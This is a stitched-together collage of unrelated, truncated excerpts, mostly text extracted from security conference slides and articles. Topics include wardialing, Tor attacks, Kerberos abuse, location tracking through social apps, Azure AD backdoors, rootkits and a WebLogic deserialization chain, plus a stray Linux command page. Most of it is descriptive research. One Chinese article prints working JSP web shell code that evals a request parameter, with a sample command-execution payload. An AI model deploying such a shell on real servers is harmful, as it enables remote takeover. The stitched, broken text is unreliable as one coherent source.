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AAPL  Automated Analog Telephone Logging. Using modern techniques and software to map the PSTN. - Da Beave & Jfalcon - Da Beave Work in the network security field @ Softwink, Inc. Author Asterisk Hacking and Threat Analysis 2008  Syngress Press Hacker/Programmer Author of iWar and various other hacking tools ( X.25 tools, etc) Founder of 'Telephreak' (loose knit Asterisk/VoIP hackers). Check out www.telephreak.org (The BBS!) Founder of The Deathrow OpenVMS cluster JFalcon First Federally Convicted Hacker in Alaska (1994)  Professional consultant and hired gun to Fortune 500 companies  Experimenter, Hacker and Inventor   Brief history.... Yes, we know who we're talking to...... Hand scanning Very slow.... Pick up the phone dial and listen. Can be accurate, but that largely depends on the hand scanners knowledge base. Still a popular pass time for phreaks. (See http://www.handscan.net) Automated Wardialing (Old School) 1980's ..... Made you this guy.... Historical Problems with Automatic Wardialing Typically relied on standard PSTN/POTS connections. Telcos monitor for over utilization of their service and flag the line for further investigation. In some cases they'd shut down your POTS line leaving you to explain what you where doing. Modems are lame. Scan for carriers (data) or tones/fax. Multiple scans. You are limited by your hardware. Later generation CTI hardware? Cost prohibited then, now obsolete (ISA boards!) and need PRI. Sure  things like randomly dialing/random timing help, but still you end up missing a lot. Still the 80' but enter the AppleCat Could generate and detect tones. Good for boxing and for this talk War dialing. Software like Cat's Meow/Phantom Access. Expensive and proprietary API (Later Firmware emulated Hayes command set. We'll talk about his later... 2002'ish. We can do it better. Sorta.... Enter VoIP: Less problems/different headaches. (The good) The world is your oyster. Cheap calls even if they supervise. If they don't, free or next to no


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Attacking Tor at the Application Layer Gregory Fleischer (gﬂeischer@gmail.com) DRAFT SLIDES Updated slides will be provided after the talk. Most importantly, the updates will include links to permanent location for all online demos. Introduction Introduction  What this talk is about  identifying Tor web trafﬁc  ﬁngerprinting users  attacking at the application layers  There is a heavy emphasis on the client- side, web browsers attacks and JavaScript Introduction  What this talk is NOT about  passive monitoring at exit nodes  network attacks against path selection  using application functionality to increase the likelihood of network attacks  breaking SSL Introduction  Software tested  The Tor Browser Bundle  Vidalia Bundle for Windows  Vidalia Bundle for Mac OS X  Firefox 2, Firefox 3.0 and Firefox 3.5 RC  Torbutton Background Background  Brief overview of Tor  free software developed by The Tor Project  uses onion routing and encryption to provide network anonymity  can be used to circumvent local ISP surveillance and network blocking  can also be used to hide originating IP address from remote servers Background  Adversary model at the application layer  normal browsing, without Tor  local ISP  remote server Background  Adversary model when using Tor  remote server  exit nodes  remote servers ISP  exit nodes ISP Background  Exit nodes as attack points  can inject arbitrary content into non- encrypted responses  but can also modify or replace non- encrypted requests  Tor users make attractive targets because they are self-selecting Background  Applications and Tor  only applications that are proxy aware can use Tor properly  network clients that dont know about Tor may leak the users original IP address  users IP address may also leak for applications that dont use proxy for name lookups Background  DNS requests over Tor  DNS queries are resolved by remote Tor node  resolution can be slow, so queries are cached locally for a minimum of 60 seconds regardless of TTL


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Relatively Easy to Exploit  Easily Automated  Usually not monitored     Kerberos  Kerberos Delegation   Focus on High Privileges  Malicious JIT administration     Ticket based authentication protocol Domain User AS TGS KDC TGT TGS LSASS (KERBEROS) AES256 AES128 RC4 DES ST TGT TGT App Server ST   Why?  An application reusing user credentials  Web server accessing a SQL DB  How?  Request tickets on behalf of the user User1 Web Server SQL Server DC User1 Authentication User1 Ticket Delegated    Delegation to any service   Kerberos Only (S4U2Proxy)  Protocol Transition (S4U2Self + S4U2Proxy) Domain Account or Local System Access NO ACCESS PIVOTING PRIVILEGED FULL CONTROL ACLs Brute Force GPOs Kerberoasting CONSTRAINED DELEGATION GPO TAMPERING BUSTED! Pass-The-Hash Pass-The-Ticket BloodHound GoFetch Domain Admin Enterprise Admin   Dump NTDS.dit (VSS, DRSUAPI)  Golden ticket  Skeleton key   Replication requests from a non-DC machine  Detect crafted tickets  Encryption downgrade   Accounts holding permanent high privileges serve as valuable targets for attackers  JIT Administration  High privileges are required to perform an operation  Get the required privileges for a limited amount of time  When the time period expires, the high privileges are revoked  Reduces the attack surface   Get administrative access for a limited time  Perform malicious operations  Leave no traces behind to avoid detection   Delegation scenario  AdminSDHolder scenario 1  AdminSDHolder scenario 2   Object Ownership  Discretionary Access Control List (DACL)  Access control entries (ACE) DACL User SID Security Group SIDs User Rights Access Token Deny ACEs Allow ACEs Inherited Deny ACEs Inherited Allow ACEs LSA Matches SIDs from The access Token with SIDs in the ACEs   Add a new machine account  Set machine owner to a malicious account  Owner can edit the ACL of the object   GPO Tampering: Enable accounts to be trusted for delegation   DACL Modification:  Add GenericAll ACE for malicious_user on new m


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I Know Where You Are: 基于LBSN APP的地理位置追踪 2015年9月15日 赵 双(DFlower) 羅夏樸(Xiapu Luo) 1 Who AM I  赵双 DFlower, dflower.zs@gmail.com  Insight-Labs Team 成员 (http://insight-labs.org)  研究领域漏洞挖掘恶意代码分析手机安全  0day安全软件漏洞分析技术(第2版)作者之一  OWASP China 2010 Xcon 2011 Speaker  羅夏樸 (Xiapu Luo, luoxiapu@gmail.com)  RAP in HKPolyU  研究領域手機安全網絡安全  Papers published in major security conferences (e.g., NDSS, BlackHat, Defcon, etc.) 2 目录  LBSN APP 介绍  基于LBSN APP进行地理位置追踪  实例: 追踪全北京新浪微博用户的地理位置  给APP厂商的建议 3 LBSN APPs  LBSN: Location-based Social Network基于位置的社交 网络  很多LBSN APP具有发现附近的人(Nearby)功能 微信 Wechat 米聊 Mitalk 陌陌 Momo 新浪微博 Weibo 4 LBSN APPs  很多LBSN APP具有发现附近的人(Nearby)功能 SKOUT SayHi Badoo LOVOO 5 LBSN APPs  很多LBSN APP具有发现附近的人(Nearby)功能 当用户使用Nearby功能时  上传自己位置信息  寻找自己所处位置周边的陌生人  允许其他人在一定时间内发现自己  User Server Database t t search people in database save user1s location User1 searches people nearby User1 is found by user2 User1 is not found by user3 save user2s location User2 searches people nearby Save user3s location User3 searches people nearby search people in database search people in database Result 6 目录  LBSN APP 介绍  基于LBSN APP进行地理位置追踪  数据发送  数据获取  数据挖掘  DEMO: Mitalk, Wechat, Weibo  实例: 追踪全北京新浪微博用户的地理位置  给APP厂商的建议 7 如何基于LBSN APP进行位置追踪 1. 数据发送 登录APP并在不同的地理位置搜索附近的人 2. 数据获取 获得时间地点人数据集 3. 数据挖掘 数据集信息足够多的情况下可对目标的日常活动范围和轨迹 进行追踪 8 数据发送 针对不同类型的APP采用不同的数据发送方式 1. 构造数据包 2. 模拟器仿真 APP信息 数据安全性 利用难度 APP Googlepla y下载量 (million) 360电子市 场下载量 (million) 位置精确 度( APP中) 数据传输方式 爬取APP位置数据方式 利用难度 Weibo 5-10 456 100m 明文 构造数据包 低 MeetMe 10-50 0.001 100m 明文 构造数据包 低 Skout 10-50 0.06 1000m 明文 构造数据包 低 SayHi 10-50 0.04 100m 明文 构造数据包 低 Badoo 50-100 0.07 1000m SSL单向认证 参数不明 构造数据包 模拟器仿真 ? Momo 1-5 168 10m SSL单向认证 构造数据包 低 Mitalk 0.5-1 17 100m 带加密参数的明文 破解加密参数&构造数据包 模拟器仿真 高 LOVOO 10-50 0.001 0.1mile SSL单向认证带 加密参数 破解加密参数&构造数据包 模拟器仿真 高 Wechat 100-500 455 100m SSL双向认证 替换证书&构造数据包 模拟器仿真 高 9 1. 数据发送 1. APP数据明文传输 典型APPWeiboMeetmeSayHi, Skout 方式构造并发送包含特定地理位置的数据包获取该位置附近的人  Weibo  Meetme  SayHi  Skout 10 1. 数据发送 2. APP数据采用HTTPS传输SSL单向认证 典型APPMomo 2


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#BHUSA @BlackHatEvents Backdooring and hijacking Azure AD accounts by abusing external identities Dirk-jan Mollema / @_dirkjan #BHUSA @BlackHatEvents Information Classification: General whoami - Dirk-jan Mollema - Lives in The Netherlands - Hacker / Researcher / Founder @ Outsider Security - Author of several (Azure) Active Directory tools - mitm6 - ldapdomaindump - BloodHound.py - aclpwn.py - Co-author of ntlmrelayx - ROADtools - Blogs on dirkjanm.io - Tweets stuff on @_dirkjan #BHUSA @BlackHatEvents Information Classification: General  Azure AD  Identity platform for Office 365, Azure Resource Manager, and other Azure things  Also identity platform for any first/third party app you want to integrate with it  This is not about Azure infrastructure/VMs/etc Terminology #BHUSA @BlackHatEvents Information Classification: General  Tenant  A separate instance of Azure AD for an organization.  Most organizations have one primary tenant.  Important security boundary in Azure AD.  Identified by a GUID  Identified by at least a tenantname.onmicrosoft.com domain  Usually also identified by custom domains Terminology #BHUSA @BlackHatEvents Information Classification: General  External identity  Any identity that is not managed by your tenant  Can be another Azure AD tenant, Microsoft account, Google account or even just an email address. Terminology #BHUSA @BlackHatEvents Information Classification: General External collaboration Tenant A Tenant B #BHUSA @BlackHatEvents Information Classification: General External collaboration Tenant A Resource tenant Tenant B Home tenant Guest account Home tenant account Linked #BHUSA @BlackHatEvents Information Classification: General  How does the invite flow work?  How are accounts linked to a different tenant?  What possibilities are there to abuse this? Research questions #BHUSA @BlackHatEvents Information Classification: General  2 tenants:  Primary: Iminyour.cloud (iminyourcloud.onmicrosoft.com)  External: Crosstenantdev (crosstenantd


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# Matrix CTF 2021 - אתגר מטריקס 2021 Writeups for the [2021 Matrix CTF](https://ctf.matrixcyberlabs.com/). Solved with zVaz and YaakovC. We solved the challenges third, congratulations to Canlex who solved them first and unblvr who solved them second. Additional resources (including other writeups) can be found [here](https://github.com/Dvd848/CTFs/discussions/14).


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Caendra Inc. 2020 All Rights Reserved Web Application Penetration Testing eXtreme Encod%69ng and /Filtering$/ S e c t i o n 0 1 | M o d u l e 0 1 WAPTXv2: Section 1, Module 1 - Caendra Inc.  2020 Table of Contents MODULE 01 | ENCOD%69NG AND /FILTERING$/ 1.1 Data Encoding Basics 1.2 Filtering Basics | p.2 WAPTXv2: Section 1, Module 1 - Caendra Inc.  2020 Learning Objectives In this module we will talk about different types of data encoding. We will see how to recognize, encode, and decode several different formats as well as discuss filters and how they work. | p.3 WAPTXv2: Section 1, Module 1 - Caendra Inc.  2020 1.1 Data Encoding Basics | p.4 WAPTXv2: Section 1, Module 1 - Caendra Inc.  2020 Even though web applications have different purposes, technologies, etc., the use of data encoding is something that cannot be neglected. From a penetration testing point of view, understanding what kind of data encoding is being used and how it works is fundamental in ensuring that the tests are performed as intended. 1.1 Data Encoding Basics | p.5 WAPTXv2: Section 1, Module 1 - Caendra Inc.  2020 Lets briefly analyze the main types of data encoding used in web-oriented applications:  URL encoding  HTML encoding  Base (32|64) encoding  Unicode encoding 1.1.1 Dissecting Encoding Types | p.6 WAPTXv2: Section 1, Module 1 - Caendra Inc.  2020 http://tools.ietf.org/html/rfc3986#section-2.1 As stated in RFC 3986, URLs sent over the Internet must contain characters in the range of the US-ASCII code character set. If unsafe characters are present in a URL, encoding them is required. The URL-encoding, or percent-encoding, replaces characters outside the allowed set with a "%" followed by the two hexadecimal digits representing the numeric value of the octet. 1.1.1.1 URL Encoding | p.7 WAPTXv2: Section 1, Module 1 - Caendra Inc.  2020 http://perishablepress.com/stop-using-unsafe-characters-in-urls/ The table shown here is a simple character encoding chart that is useful in explaining wh


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Please& Stand& by&this& talk& will& start& soon!& DEF CON 2018-13-05 Beijing, China From Dark Visitors to Valued Allies. You&may&have&seen&me&rob&a&bank&on&NatGeo&TV&show&Breakthrough&Season&2& ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WeChat:!JaysonStreet!Twitter:!JaysonStreet! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Website:!http://JaysonEStreet.com! You&may&have&seen&me&on&the&news&discussing&Hacking&&&security&related&topics.& ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WeChat:!JaysonStreet!Twitter:!JaysonStreet! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Website:!http://JaysonEStreet.com! Or&you&may&have&unfortunately&seen&me&in&your&server&room!...&&;-)& ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WeChat:!JaysonStreet!Twitter:!JaysonStreet! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Website:!http://JaysonEStreet.com! What does it mean to be a Hacker? What does it mean to be a Hacker? !!!!!!!!!!!Cai!Lun!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Shen!Kuo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Professor!Huang!Hongjia! Hackers provide a valuable service to society by discovering vulnerabilities & Reporting them! Why are there no Black Hat Bankers?!? If something is broken but not discovered is it less broken? Companies that help. Resources 1. https://bugcrowd.com/ 2. https://hackerone.com/ 3. http://lutasecurity.com/ If something is broken but not discovered is it less broken? Resources 1. Microsoft https://technet.microsoft.com/en-us/library/dn425036.aspx 2. Apple https://techcrunch.com/2016/08/04/apple-announces-long- awaited-bug-bounty-progr


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TRACKING SPIES IN THE SKIES ABOUT THE TALK LAW ENFORCEMENT AND AERIAL SURVEILLANCE History of aerial surveillance (Sam Richards) Technology on spy planes (Jerod MacDonald-Evoy) Detecting surveillance aircraft (Jason Hernandez) HISTORY OF THE SKY SPIES Odd plane patterns noticed, WSJ, Baltimore r/conspiracy (John Wiesman - ADSB Detection) Citizen journalists (Sam Richards) #FBISkySpies and 100 Tail- numbers, links to FlightRadar24 tracks SKY SPIES 101 Sam's story goes viral, a week later AP breaks it into the mainstream Sen. Franken calls for investigation (nothing happens) FBI Planes hidden behind front companies (FVX Research, et. al) WHAT WE KNOW TYPES OF AIRCRAFT Small xed wing (Cessnas) Large dual engine (Beechcraft) Military style (Pilatus) Helicopters Drones (Small and Large) EQUIPMENT Wescam by L3 Communications FLIR SAFIRE IMSI Catchers LETC Devices EXAMPLES OF USE FBI Aerial Surveillance of Freddie Grey protests FBI Aerial Surveillance of Arizona I-10 shooter suspect's apartment Phoenix PD used Pilatus to follow U-haul thief 'Persistent Surveillance Solutions' HIDDEN IN PLANE SIGHT FBI, CBP, DEA and DOJ use of front companies $10 FAA records request reveals equipment The Delaware problem PHOENIX PD PLANE UHaul Chase Phoenix PD FOOTAGE OBTAINED VIA PUBLIC RECORDS REQUEST TRACKING THE SKY SPIES How do we more generally detect surveillance aircraft and activity? Registrations can be changed and obscured Many surveillance technologies are commercially available How much surveillance is happening in other parts of the world? Technical and operational requirements dictate ight patterns Surveillance ights look very dierent from most other trac HOW DO WE TRACK AIRCRAFT? Radar is not practical ADS-B messages are the way to go Active community of radio / aviation / hacking enthusiasts collect ADS-B data Requires a Raspberry Pi 1B+, an RTL-SDR radio, antenna, and internet connection Multiple aggregators collect data FlightRadar24.com, FlightAware.com, adsbexchange.com


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Boutique Kit Playing WarGames with expensive rootkits and malware Josh m0nk Thomas display( eratta_dc21.drink); This is Ricky Ricky likes to drink Drink when you see Ricky display( eratta_dc21.abuse); Opening Question Hands up if you run Android Keep em up if you run a custom ROM / Kernel Down if you actually compiled it Back up if you didnt look at the source Back up if you didnt do a FULL source audit Dont lie, Santa Claus and the NSA already know the answer preso.start()  @m0nk_dot  Why?  Because logic  My opinions != Accuvant Labs   blah blah blah blah blah  This is about understanding a problem so we can fix it <header> echo $AGENDA Boring Kit  The public space of rootkits and malware No Name Given: Non Public Players and the new rules War Game 1: Hide deep, hide long War Game 2: Run off the processing grid War Game 3: Is it cold in here? Revisiting Tic-tac-toe: The fun we can have BORING KIT The public space of rootkits and malware Im sure its fascinating but Uber 1337 h4x0r <3 teh Malwarez But... DO NOT CARE  Just iterative, boring, annoying crap  Capitalism trumps innovation  Disposable  Non Targeted  zzz Not really 0-Day  Just go find the slides from damn near any recent talk from Mudge. Dont listen to me NO NAME GIVEN Non Public Players and the new rules  2+ players  Game Play Mechanics  Goals RTFM: Generic Game Rules Nameless people doing interesting things  <insert generic government / state sponsored image here>  <insert generic large multinational corporation image here> Define: Player 1 You know those people Maybe Even Or even: Define: Player 2 Define: Player 2 Define: Player 2 Define: Player 2 Game Mechanics  We need all teh 0-Days -> gift wrap  We need all teh Devices -> package  Still kind of boring  Not the real point  Disposable... All teh 0-Dayz!!!!! Cost of the 0-Day? Need moar! No, MOAR!!!! ok, thats better All teh Devices! I need a new computer Moar computer Computer! But I run Android, Im special? Sure Unless I had. ok, thats better  Kit / I


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Oracle WebLogic CVE-2022-21350 漏洞分析 漏洞简述 这是个反序列化漏洞,是条新的gadget,在低版本的JDK中可能会造成RCE险 漏洞分析 测试环境weblogic14c版本,测试JDK 1.8版本 先会调BadAttributeValueExpException.readObject法 接着会调SessionData.toString法 接着会调SessionData.isDebuggingSession法 接着会调SessionData.getAttribute法 接着会调SessionData.getAttributeInternal法 接着会调AttributeWrapperUtils.unwrapObject法 接着会调AttributeWrapperUtils.unwrapEJBObjects法 接着会调BusinessHandleImpl.getBusinessObject法 接着会调HomeHandleImpl.getEJBHome法 可以看到这调了ctx.lookup法 修复建议 及时更新补丁参考oracle官发布的补丁: https://www.oracle.com/security-alerts/cpujan2022.html


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Author: Recar github: https://github.com/Ciyfly w13scan浅析 w13scan 是一款由w8ay开发的python3的主被动扫描器 被动代理基于 baseproxy.py 作者是 qiye 主动扫描默认是没有爬虫的 这里分析将分为几个部分 基础模块 主动扫描 被动扫描 扫描模块 学习的地方 w13scan浅析 简单的流程图 基础模块 一些环境检测和补丁 version_check() modulePath() patch_all()补丁 初始化 主动扫描 FakeReq FakeResp 解析响应 被动扫描 扫描模块 什么时候启动扫描模块 start方法 run_threads 创建线程 task_run 运行任务 printProgress 输出目前的扫描任务情况 loader插件 主动扫描的解析插件 插件入口 PluginBase 基础插件父类 execute 传入req rsp poc主要函数 paramsCombination 组合dict参数 ResultObject 统一的结果类 self.success 输出漏洞 loader audit loader插件最终执行的方法 PerServer 检测模块 对每个domain的 backup_domain 基于域名的备份文件 errorpage 错误暴露信息 http_smuggling http smuggling 走私攻击 idea idea目录解析 iis_parse iis解析漏洞 net_xss net 通杀xss swf_files 通用flash的xss PerFolder 检测模块 针对url的目录会分隔目录分别访问 backup_folder 扫描备份文件 directory_browse 判断是否是目录遍历 phpinfo_craw 查看此目录下是否存在 phpinfo文件 repository_leak 基于流量动态查找目录下源码泄露 PerFile 检测模块 针对每个文件包括参数 analyze_parameter 反序列化参数分析插件 backup_file 基于文件的备份扫描 command_asp_code asp代码注入 command_php_code php代码注入 command_system 系统命令注入 directory_traversal 路径穿越插件 js_sensitive_content js文件敏感内容匹配 jsonp JSONP寻找插件 php_real_path 信息泄露 poc_fastjson 打fastjson的 shiro Shiro框架检测以及Key爆破 sqli_bool 布尔注入检测 sqli_error 报错注入 sqli_time 时间注入 ssti ssti模板注入探测 struts2_032 Struts2-032远程代码执行 struts2_045 Struts2-045远程代码执行 unauth 未授权访问探测插件 webpack webpack源文件泄漏 xss XSS语义化探测 SearchInputInResponse 解析html查找回显位置 如果回显位置是在html里 如果回显位置是在attibute里 测试 attibutes 测试 html 针对特殊属性进行处理 如果回显位置是注释里 如果回显位置是script里 如果回显的位置是 InlineComment js单行注释 如果回显的位置是 BlockComment js块注释 如果回显的位置是 ScriptIdentifier 如果回显的位置是 ScriptLiteral 学习的地方 (可以抄) colorama 控制台彩色输出 支持windows 随机banner load_file_to_module 另一种动态加载插件的方式 解析post数据类型 raw方法 text 自动解码响应体 将参数拆分为名称和值 返回字典 对url去重泛化模块 代理模块 xss 语法语义的形式 等等 简单的流程图 基础模块 一些环境检测和补丁 version_check() 检测是否py3 modulePath() 方法是如果是将这个w13scan.py打包成exe了的获取的路径 源自 sqlmap patch_all()补丁 关闭https请求时的验证及 忽略urllib3的日志 def patch_all(): disable_warnings() logging.getLogger("urllib3").setLevel(logging.CRITICAL) ssl._create_default_https_context = ssl._create_unverified_conte


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BLACK OPS OF TCP/IP Spliced NAT2NAT And Other Packet-Level Misadventures Dan Kaminsky, CISSP DoxPara Research www.doxpara.com Where Im Coming From  Black Hat 2001  Impossible Tunnels through Improbable Networks with OpenSSH  Getting Out: ProxyCommands for Non-TCP comm layers  HTTP, SOCKS, UDP, Packet Radio*, AIM/Yahoo*  Coming In: Active Connection Brokering for NAT2NAT  One host exports SSHD to broker  Other host imports access from broker  Passing Through: Dynamic Forwarding for Psuedo-VPN Work  Web Browsing, Dialpad(Split-H323), etc. Interesting Problems  Instant Portscan  Is it possible to discover instantaneously what network services have been made available, even on massive networks?  Guerrila Multicast  Is it possible to send a single packet to multiple recipients, using todays multicast-free Internet?  NATless NAT  Is it possible to share a globally addressable IP address without translating private IP ranges a la NAT?  Is it possible to allow incoming connections to an IP multiplexed in this manner?  NAT Deadlock Resolution  Is it possible to establish a TCP connection between two hosts, both behind NATs? On Possibility  Restraint Free Engineering  Abandon All Practicality, Ye Who Enter Here  Its amazing what you can do once security is no longer a concern.  Youve got what youve got. Make interesting things happen.  It might end up practical.  It might end up secure.  Right now, its impossible. Fix that first.  Maybe. ObThreeWayHandshakeIntro Connection Request (Alice -> Bob)  SYN: I want to talk to you Connection Response (Bob -> Alice)  SYN|ACK: OK, lets talk.  RST|ACK: I aint listening Connection Initiation (Alice -> Bob)  ACK: OK, beginning conversation. What Do You Want?  Port Ranges  Local Port: What application requested the connection. Usually a random number, 0-65535.  0 is a valid port  Remote Port: What application accepted the connection. Usually a known number  80 for HTTP  143 for IMAP  443 for HTTP/SSL  IP handles who were talking to; Ports


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convertquota === 把老的配额文件转换为新的格式 ## 补充说明 **convertquota命令** 用于将老的磁盘额数据文件quota.user和quota.group转换为新格式的文件quota.user和quota.group ### 语法 ```shell convertquota(选项)(参数) ``` ### 选项 ```shell -u仅转换用户磁盘配额数据文件 -g仅转换组磁盘配额数据文件 -f将老的磁盘配额文件转换为新的格式 -e将新的文件格式从大字节序换为小字节序 ``` ### 参数 文件系统指定要转换磁盘配额数据文件格式的文件系统硬盘分区 ### 实例 使用convertquota指令转换指定文件系统`/data`的磁盘配额数据文件在命令行中输入下面的命令 ```shell convertquota -u /data //转换文件系统"/data"上的用户磁盘配额文件 ```


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1 种新型Java句话的实现 前 基本原理 获取脚本引擎 绑定对象 eval 基本语法 调Java法 导Java类型 创建Java类型的数组 导Java类 法调与重载 Payload结构设计 语法问题的坑 两种语对象间的相互转换 Rhino/Nashorn解析的差异 反射的坑 保底操作 测试 最后 @yzddMr6 直以来Java句话都是采打字节码defineClass实现的这种法的优势是可以完整的打 进去个类可以乎实现Java上的所有功能不之处就是Payload过于巨并且不像脚本语 样便修改并且还存在很多特征例如继承ClassLoader反射调defineClass等本在这提出 种新型Java句话利Java中JS引擎实现的句话 前 基本原理 2 1. Java没有eval函数Js有eval函数可以把字符串当代码解析 2. Java从1.6开始带ScriptEngineManager这个类原持调js需安装第三库 3. ScriptEngine持在Js中调Java的对象 综上所述我们可以利Java调JS引擎的eval然后在Payload中反过来调Java对象这就是本 提出的新型Java句话的核原理 ScriptEngineManager全名javax.script.ScriptEngineManager从Java 6开始带其中Java 6/7采 的js解析引擎是Rhino从java8开始换成了Nashorn不同解析引擎对同样的代码有些差别这 点后有所体现 如果说原理其实两句话就可以说清楚但是难点在于Payload的编写跨语调最的个难点就 是数据类型以及法的转换例如Java中有byte数组Js中没有怎么办C++有指针但是Java没有 这个玩意怎么办 在实现期间踩了很多的坑这篇章跟家起掰扯掰扯希望能给家提供点帮助 或者通过eval的重载函数直接把对象通过个HashMap放进去 获取脚本引擎 Plain Text 复制代码 绑定对象 Plain Text 复制代码 //通过脚本名称获取 ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript"); //简写为js也可以 //通过件扩展名获取 ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js"); //通过MIME类型来获取 ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript"); 1 2 3 4 5 6 ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); engine.put("request", request); engine.put("response", response); engine.eval(request.getParameter("mr6")); 1 2 3 4 3 综合上两步有很多种写法例如 shell.jsp 或者直接缩写成句 以执命令为例 POSTmr6=java.lang.Runtime.getRuntime().exec("calc"); Plain Text 复制代码 eval Plain Text 复制代码 Plain Text 复制代码 new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getPara meter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{ put("response", response); put("request", request); }})) 1 2 3 4 <% javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js"); engine.put("request", request); engine.put("response", response); engine.eval(request.getParameter("mr6")); %> 1 2 3 4 5 6 7 8 <% new javax.script.ScriptEngineManager().getEngineByName("js").eval(requ


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360 企业安全集团 Attacking Kerberos 演讲人吴方东n1nty @ 360 A-TEAM 2 0 1 8 吴方东n1nty @ 360 A-TEAM 安全研究员  360 企业安全集团旗下的纯技术研究团队  致力于 Web 渗透APT 攻防对抗前瞻性攻防工具预研  进行严肃有深度的技术研究深入还原攻与防的技术本质 360 A-TEAM 资深失眠患者 服务端验证你是否真的是你所声称的那个人的过程 非加密通道会导致明文密码泄露 USERNAME/PASSWORD 我要登陆这是我的账号密码 对比账号密码 成功 失败  不需要传输密码本身  可在非加密通道使用 USER01 我要登陆 告诉我你是谁用你的密码加密这段随机数据 kjdfADSF435@#$ASDfd)( 我是 USER01这是我加密后的结果....... 结果一样成功 结果不一样失败 基于票据的 身份认证协议 MIT 发明 微软进行了扩展 域环境下的 首选认证协议  账号密码认证  通过向服务端发送账号密码来证明自己的身份  挑战认证  通过向服务端发送一段计算结果来证明自己的身份  Kerberos 认证  通过向服务端发送一张票来证明自己的身份 KDC  域内最重要的服务器  统一保存着所有账号的密码 使用人USER01权限xxx 允许访问的服务SMB/SERVER1 到期时间2018-08-24 23:00:00 Session key Kerberos Ticket 其他信息 KDC 印章 加密的 Kerberos 票据 KDC  域内最重要的服务器  统一保存着所有账号的密码 TGT  访问 TGS 服务的票 普通票据  访问其他服务的票 TGT 普通票据 KDC 客户端访问任何 使用 Kerberos 认证的服务之前 利用 TGT 去向 KDC 换取访问目标服务 的 KDC user01 server1 我是 user01 给我一张访问 smb\server1 的票 我是 user01我要访问你的 smb 服务 这是证明我身份的票 KDC 1, AS-REQ 3, TGS-REQ user01 server1 2, AS-REP 4, TGS-REP 5, AP-REQ 6, AP-REP  AS-REQ  我是 user01这是一段加密数据来 证明我的身份  AS-REP  身份验证成功给你一张能证明你是 user01 的票TGT以及对应的 Session Key AS-REQ AS-REP user01 KDC AS-REQ authenticator 验证因子  AS-REQ  我是 user01这是一段加密数据来 证明我的身份  AS-REP  身份验证成功给你一张能证明你是 user01 的票TGT以及对应的 Session Key AS-REQ AS-REP user01 KDC AS-REP 加密的 TGT 加密的 Session Key  AS-REQ 不进行预身份认证时  我是 user01但是我不想提交 authenticator 来证明我的身份请给我一张 TGT  成功时AS-REP   user01 账号存在并且配置了不要求进行预身份验证  失败时KRB-ERROR  PREAUTH-REQUIRED  UNKNOWN-PRINCIPLE AS-REQ AS-REP user01 KDC AS-REQ 去掉这段数据 发送 AS-REQ 请求时不进行预身份验证 根据返回的错误码可判断用户是否存在 响应类型 结果 AS-REP 响应 账号存在 且开启了 不要求 Kerberos 预身份验证选项 KRB-ERRORPREAUTH-REQUIRED 账号存在 未开启 不要求 Kerberos 预身份验证选项 KRB-ERRORCLIENT-REVOKED 账号存在 但是处于锁定状态 KRB-ERRORUNKNOWN-PRINCIPLE 账号不存在  AS-REQ由客户端发送至 KDC  我是 user01我不进行预身份验证 请给我一张 TGT  AS-REP由 KDC 返回  经过检查发现 user01 被配置为不需 要进行预身份验证这里给你返回一个 AS-REP里面包含了你想要的 TGT 以及与 TGT 配合使用的 session key enc-part(session key) 部分被 RC4 算法加密且密钥为 user01 账号的 NT HASH 离线暴力破解 enc-part 可还原 user01 的明文密码 AS-REQ 用户枚 举 LDAP 查询 USER01 USER02 USER03 不需要预身份认证 USER01 Session Key USER02 Session Key USER03 Session


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Toasterkit - A NetBSD Rootkit Anthony Martinez Thomas Bowen http://mrtheplague.net/toasterkit/ Toasterkit - A NetBSD Rootkit 1. Who we are 2. What is NetBSD? Why NetBSD? 3. Rootkits on NetBSD 4. Architectural Overview 5. Our contributions 6. Demo 7. Protection 8. Prevention Who we are - Anthony Martinez Anthony is a system administrator for the New Mexico Institute of Mining and Technologys Computer Center, as well as an undergraduate Computer Science student at the university. He originally proposed the project that evolved into Toasterkit. Who we are - Thomas Bowen Thomas is a system administrator for the New Mexico Institute of Mining and Technologys Computer Center. He is also enrolled in the Computer Science program with emphasis in Information Assurance. Why NetBSD? NetBSD is a popular operating system for embedded systems. It is also extremely source-portable, meaning that when written properly, anything targeting the kernel is equally so. This way, the rootkit can work on any NetBSD port! Additionally, NetBSD is something of a research tool  new ideas such as Veriexec and the kauth frameworka are being worked on in NetBSD, and nobody (else) is targeting them. aWhich originated in Mac OS X. History of Rootkits on NetBSD Chkrootkit hasnt been updated since NetBSD 1.6. Were at 4.0, with 5 soon to be released. If there are any rootkits targeting recent versions of NetBSD, none of them appear to be public. Overview of NetBSD Architecture Portable across hardware The slogan: Of course it runs NetBSD. Excellent support for cross-building. 